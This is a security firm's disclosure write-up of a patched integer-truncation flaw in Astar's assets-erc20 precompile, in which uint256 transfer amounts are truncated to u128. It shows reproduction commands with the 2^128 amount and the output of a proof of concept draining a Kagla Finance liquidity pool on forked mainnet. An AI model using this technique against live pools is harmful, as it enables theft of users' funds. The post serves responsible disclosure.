In November 2023, a security researcher at Zellic found a vulnerability in Astar that could have been exploited by a malicious actor to steal ~$400,000 USD worth of tokens. This vulnerability would allow any attacker to steal large amounts of funds from certain types of smart contracts that are deployed on the Astar EVM.
The security researcher, Faith, alongside fellow researcher vakzz, was able to determine the amount of funds that were at risk of being stolen and subsequently submit a report to the Astar Network bug bounty program on Immunefi.
In this blog post, we discuss how the vulnerability was discovered, which types of contracts were vulnerable, and a fatal flaw in a 2022 vulnerability in Frontier that follows a similar bug pattern.
Introduction to Polkadot, Parachains, and Astar
Polkadot is a multichain environment that prioritizes cross-chain communication. In Polkadot, specialized blockchains known as parachains communicate with each other in a secure and trustless environment.
Parachains construct and propose blocks to validators on the Polkadot Relay Chain, where these blocks are validated prior to being added to the finalized chain. This way, security guarantees are provided by the Polkadot Relay Chain, which absolves the parachains from this responsibility, freeing up resources to be used for other tasks.
Astar is one such parachain. It supports both Wasm and EVM smart contracts and provides native access to Ethereum and Polkadot (and by extension, to other parachains).
Introduction to Substrate and Frontier
Parachains like Astar are written in Rust using a framework called Substrate↗ maintained by Parity Technologies. Substrate modularizes the key aspects of a typical blockchain (such as the consensus engine, native token handling, smart contracts, etc.) into modules called pallets. Blockchain developers can then pick and choose from the standard pallets that are provided by Substrate. They are also able to extend their blockchain with new functionality by writing their own custom pallets as well.
To achieve EVM compatibility, Substrate-based chains use an Ethereum compatibility layer called Frontier↗. Frontier runs an EVM chain alongside the Substrate chain that allows users to deploy EVM-compatible smart contracts and interact with them just like they would on Ethereum. In the case of Astar, this EVM chain is called Astar EVM.
The Astar assets-erc20
Precompile
Frontier implements the standard Ethereum precompiles (such as ecrecover
and modexp
), but it also allows developers to implement custom precompiles. These custom precompiles allow users and smart contracts on the Frontier EVM chain to communicate directly with the adjacently running Substrate chain.
Astar has six custom precompiles. The one we’re interested in is called assets-erc20
, which allows developers to deploy native assets. These assets adhere to the ERC-20 standard and are deployed as precompiles on the Astar EVM.
The address of each asset precompile is determined by treating the asset ID as an address (chosen when creating the asset) and setting the top four bytes to 0xFFFFFFFF
. For example, an asset with an ID of 1 would have its precompile deployed at address 0xFFFFFFFF00000000000000000000000000000001
.
Finding the Vulnerability
The implementation of the precompile is located in precompiles/assets-erc20/src/lib.rs
. When looking at the code, we noticed that both the transfer()
↗ and transferFrom()
↗ functions fetch the amount
argument out of the EVM calldata as a <BalanceOf<Runtime, Instance>>
type:
let amount = input.read::<BalanceOf<Runtime, Instance>>()?;
Following the code, BalanceOf
is defined as follows:
pub type BalanceOf<Runtime, Instance = ()> = <Runtime as pallet_assets::Config<Instance>>::Balance;
The pallets_assets::Config
is defined within runtime/astar/src/lib.rs
↗:
impl pallet_assets::Config for Runtime {
type RuntimeEvent = RuntimeEvent;
type Balance = Balance;
// [ ... ]
}
The Balance
type on the right hand side of the =
is imported from the astar_primitives
crate. Looking at primitives/src/lib.rs
↗, we finally see that Balance
is just a type alias for u128
:
pub type Balance = u128;
In the next section, we discuss how using u128
to track the amount
from an ERC-20 transfer is hazardous.
The Dangers of Integer Truncation
Recall that the amount
argument was fetched out of the EVM calldata as follows:
let amount = input.read::<BalanceOf<Runtime, Instance>>()?;
Here, input
’s type is EvmDataReader
. We can see the implementation of the read()
function for all the uint
types here↗.
Looking closely, we notice that it reads 32 bytes from the calldata and then uses buffer.copy_from_slice()
to copy over enough bytes to fit the size of the type (in our case, u128
). Note that 32 bytes is 256 bits. This means that a value larger than u128
would be truncated down to a u128
:
let mut buffer = [0u8; core::mem::size_of::<Self>()];
buffer.copy_from_slice(&data[32 - core::mem::size_of::<Self>()..]);
Ok(Self::from_be_bytes(buffer))
Recall that the ERC-20 transfer()
and transferFrom()
functions are both defined as follows:
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
Since the amount
argument is a uint256
, users are allowed to transfer more than the maximum u128
value on the EVM.
Knowing this, an attacker can take the following steps to trick a smart contract into thinking that a large amount of tokens were transferred, when in fact none were transferred at all.
- An attacker calls a smart contract function that transfers an amount of native assets from the attacker to itself (or elsewhere) using
transferFrom()
. - The
amount
is controllable by the attacker, so the attacker sets it totype(uint128).max + 1
= . - The smart contract would pass this very large
amount
directly intotransferFrom()
. - Within the precompile, the
amount
would immediately be truncated to au128
, which would yield a 0. It would then transfer zero tokens over and return a success to the smart contract. - The smart contract would assume a successful token transfer of tokens, even though none were transferred at all.
Triggering the Bug
Setting up the Astar Development Node
First, we download version V5.23.0 of the Astar node here↗. This is the latest version that is vulnerable to this bug. A local development node can be started using the following command:
./astar-collator --port 30333 --rpc-port 9944 --rpc-cors all --alice --dev
We can interact with this node using the Polkadot.js Web UI here↗. The Alice account is funded with one billion LOC, which is the development node’s gas token.
Funding an EVM Address With Gas Tokens
Astar uses the SS58 address format for accounts. This is different to the Astar EVM, which uses the H160 address format to retain EVM compatibility. Since there are no EVM addresses funded with gas tokens, we will need to send some over.
This website↗ can be used to convert an EVM address to its corresponding SS58 address. We leave the address prefix set to 5 as that is the address prefix that Astar uses.
For demonstration purposes, let’s use the following randomly generated EVM address:
Private key: 0xad4eb50bf0671b67a5172361d7d25e006b6a8d3f6a46757e72bf193d55bb084b
EVM address: 0x32dE48085A25758d8A78ed1fa396C09b68BF371a
SS58 address: XHgPbWJN954prdDRgRSMFNQn5TPupYNZj9aSzDBh4Pqg1SW
In order to fund this EVM address with some gas tokens, we use the Polkadot.js Web UI to send 100 LOC from Alice to the SS58 address above. We can verify that the tokens were received using Foundry:
$ cast balance --rpc-url http://127.0.0.1:9944 0x32dE48085A25758d8A78ed1fa396C09b68BF371a
99999999999999999500
Setting up the Native ERC-20 Asset
Native ERC-20 assets can be created through the assets page↗ on the Polkadot.js Web UI. For this demonstration, we use an asset ID of 1.
As discussed previously, an asset ID of 1 will cause the asset’s corresponding precompile to be deployed at 0xFFFFFFFF00000000000000000000000000000001
.
Transferring a Massive Amount of Tokens
As this is a newly deployed native asset, this EVM account will have a balance of 0. This can be confirmed as follows:
$ cast call --rpc-url http://127.0.0.1:9944 0xFFFFFFFF00000000000000000000000000000001 "balanceOf(address)(uint256)" 0x32dE48085A25758d8A78ed1fa396C09b68BF371a
0
Now, attempting to send 100 tokens to address(0)
should cause a revert. This is the correct behavior:
$ PRIV_KEY=0xad4eb50bf0671b67a5172361d7d25e006b6a8d3f6a46757e72bf193d55bb084b
$ cast send --rpc-url http://127.0.0.1:9944 --private-key $PRIV_KEY 0xFFFFFFFF00000000000000000000000000000001 "transferFrom(address,address,uint256)" 0x32dE48085A25758d8A78ed1fa396C09b68BF371a 0x0000000000000000000000000000000000000000 100
# [.. Revert error snipped ..]
However, attempting to send type(uint128).max + 1
tokens should also cause a revert. In reality though, the transaction succeeds:
$ cast send --rpc-url http://127.0.0.1:9944 --private-key $PRIV_KEY 0xFFFFFFFF00000000000000000000000000000001 "transferFrom(address,address,uint256)" 0x32dE48085A25758d8A78ed1fa396C09b68BF371a 0x0000000000000000000000000000000000000000 340282366920938463463374607431768211456
# [.. Transaction success snipped ..]
Exploitability in Practice
When the vulnerability was confirmed, we discussed and concluded that the prime targets for practical exploitation would be liquidity-pool contracts that allow users to swap one token for another.
If one of the tokens in the pool were a native asset, a call to transferFrom()
with amount = 340282366920938463463374607431768211456
would succeed, and the pool contract would mistakenly transfer out an equivalent amount of the other token in the pool.
We also noted that this wouldn’t work with the typical Uniswap-/PancakeSwap-style pool contracts, because these pools have a balance check to ensure that the pool received the correct amount of tokens during the swap. Since the majority of pools are likely to fall under this category, the impact of the bug would be significantly reduced.
Finding Vulnerable Targets
While working on the report for ImmuneFi, we also looked to find potentially exploitable pool contracts. After some investigating, we found this Kagla Finance pool↗ where the USDT token is implemented as a native asset deployed at address 0xfFFfffFF000000000000000000000001000007C0
.
Fortunately, most other pools with a significant amount of funds at risk were all forks of the aforementioned Uniswap-/PancakeSwap-style pool. One such example can be seen here↗.
Draining the Kagla Finance Pool
In order to showcase that the bug could be used to drain a liquidity-pool contract, we forked the Astar mainnet using a free node from Alchemy↗ and attempted to trigger the bug. The first hurdle we encountered was that calling into the precompile on the forked mainnet resulted in a revert.
Assuming that this was due to custom precompiles not working within the fork, we deployed a custom USDT contract to the precompile address that would override the transfer()
and transferFrom()
functions to emulate the vulnerability in the precompile:
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
uint128 a = uint128(amount);
return super.transferFrom(sender, recipient, uint256(a));
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint128 a = uint128(amount);
return super.transfer(recipient, uint256(a));
}
The full script can be found here↗. We will need to spin up our own Alchemy node and replace the URL on line 56. The script should be placed in the test/
directory of a foundry
project and then ran with forge test -vv
. The following output is observed when running the script:
Draining the Kagla USDT-3KGL pool
pool.coins(0): 0xfFFfffFF000000000000000000000001000007C0
pool.coins(1): 0x18BDb86E835E9952cFaA844EB923E470E832Ad58
usdt.balanceOf(address(pool)) : 267994933776
3kgl.balanceOf(address(pool)): 291685254371187444973263
3kgl.balanceOf(address(this)): 0
Draining pool now...
usdt.balanceOf(address(pool)) : 267994933776
kgl3.balanceOf(address(pool)): 344772682844125187126
3kgl.balanceOf(address(this)): 291340481688343319786137
This output shows that the attacking contract now has access to ~291,340.48 3KGL tokens, which amounts up to ~$267,678 USD.
How Much Money Was at Risk?
Astar Network’s bounty policy is to reward 10% of all funds that can be proven to be at risk, with a minimum reward of $50,000 USD and a maximum reward of $250,000 USD.
Although there were a few other vulnerable pools, the amount of funds at risk wasn’t significant enough to warrant any further investigation. Had this same vulnerability been found a year down the line, the impact would have likely been much higher as the native assets gain more widespread usage.
After our investigation, we concluded that there couldn’t be more than $400,000 USD at risk at the time of finding this vulnerability, which meant that the reward paid out would be the $50,000 USD minimum.
Although this was somewhat unfortunate timing from a bounty perspective, we were glad to have found it before a more significant amount of funds came to be at risk of getting stolen by a malicious actor.
Other Vulnerable Parachains
When looking through the top 10 parachains sorted by TVL on DefiLlama↗, we found only one other chain that had the same vulnerability — Parallel Finance.
Fortunately, looking through the holders of their native assets here↗, they don’t seem to use any EVM contracts as liquidity pools. In fact, they don’t seem to use the native assets on their EVM chain at all. Because of this, no funds are at risk on their chain.
Nonetheless, we reported the vulnerability to them as well. It was patched in this commit↗.
Conclusion
Some readers may have noticed that this bug is very similar to the integer truncation vulnerability↗ that pwning.eth found in Frontier. The vulnerability showcased in this blog post was introduced in this PR↗ on April 26th, 2022. This means it has been laying dormant and waiting to be found (or exploited) for over one and a half years.
The question then is, why was such a similar vulnerability introduced again? Substrate-based blockchain developers are surely aware of this bug pattern by now, right?
Our opinion is that the Frontier EVM compatibility layer is fundamentally flawed when it comes to balance tracking. This is because Rust doesn’t support the u256
type natively, which forces Substrate to use the u128
type to store token balances. This then forces developers to perform checks for integer truncation manually whenever they perform such balance conversions on values fetched from the EVM. This is unfortunate, because the chances that a developer forgets to include such checks is significant enough to warrant a native u256
type.
Fortunately, along with adding manual truncation checks to the precompile, the Astar team also modified the EvmDataReader::read()
function to now include truncation checks. Implementing checks in the API that are used to read values from the EVM calldata is absolutely the correct fix, as it will prevent the same vulnerability from ever being introduced in the future.
Disclosure Timeline
- November 6, 2023 — The vulnerability was found, tested, and reported to the Astar Network through Immunefi.
- November 8, 2023 — The vulnerability was confirmed as critical severity by the Astar Network team.
- November 9, 2023 — The vulnerability was fixed in this PR↗.
- November 10, 2023 — A $50,000 reward was paid out in ASTR tokens.
Contributions by Researchers
- Vulnerability discovery and initial POC — Faith
- Determining amount of funds at risk on Astar — Faith and vakzz
- Investigating other parachains — Faith and vakzz
- Kagla Finance LP drain exploit POC — vakzz
- Blog post and ImmuneFi report writing — Faith
About Us
Zellic specializes in securing emerging technologies. Our security researchers have uncovered vulnerabilities in the most valuable targets, from Fortune 500s to DeFi giants.
Developers, founders, and investors trust our security assessments to ship quickly, confidently, and without critical vulnerabilities. With our background in real-world offensive security research, we find what others miss.
Contact us↗ for an audit that’s better than the rest. Real audits, not rubber stamps.